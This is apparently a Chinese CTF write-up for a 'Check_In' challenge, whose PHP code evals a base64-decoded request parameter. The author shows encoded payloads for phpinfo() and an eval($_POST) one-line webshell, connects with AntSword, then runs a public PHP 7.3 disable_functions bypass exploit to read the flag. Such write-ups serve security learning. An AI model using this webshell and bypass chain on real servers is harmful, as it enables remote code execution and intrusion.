先看一下题目给的代码
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
代码中有一个$this指针,通过读取Ginkgo的值,进行传参。我们先尝试传入phpinfo()
,构造一个payload。
注:因为存在一个base64_decode函数所以要进行base64编码。
http://(此处为你的url)/?Ginkgo=cGhwaW5mbygpOw==
结果输出为
在这里我们可以找到被过滤的函数
回到一开始的代码,从代码中我们看到一个@Eval,可以马上反应我们可以上传一句话木马。
构造一个payloadeval($_POST[123]);
,同样是要进行base64处理
http://(你的url)/?Ginkgo=ZXZhbCgkX1BPU1RbMTIzXSk7
然后在蚁剑中进行连接
进入根目录,我们可以发现一个flag文件,可惜里面什么都没有
此时我们退出文件,刷新一下,发现一个readflag 的文件,里面是一堆乱码
然后在看了别的师傅的wp之后,我们把目光放到最开始的phpinfo()中。我们通过phpinfo()知道了php版本为7.3,这个版本有一个漏洞
具体的exp在这里面很详细了
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
然后我们将其代码下载下来,放入我们的1.php文件中,记得pwn(’’)里面的东西要改成readflag
通过蚁剑上传文件到tmp目录下
然后剩下的就是通过之前的一句话来执行这个文件了
得到flag:
flag{99a2cfe2-9866-480f-9e0c-cb71ce13872c}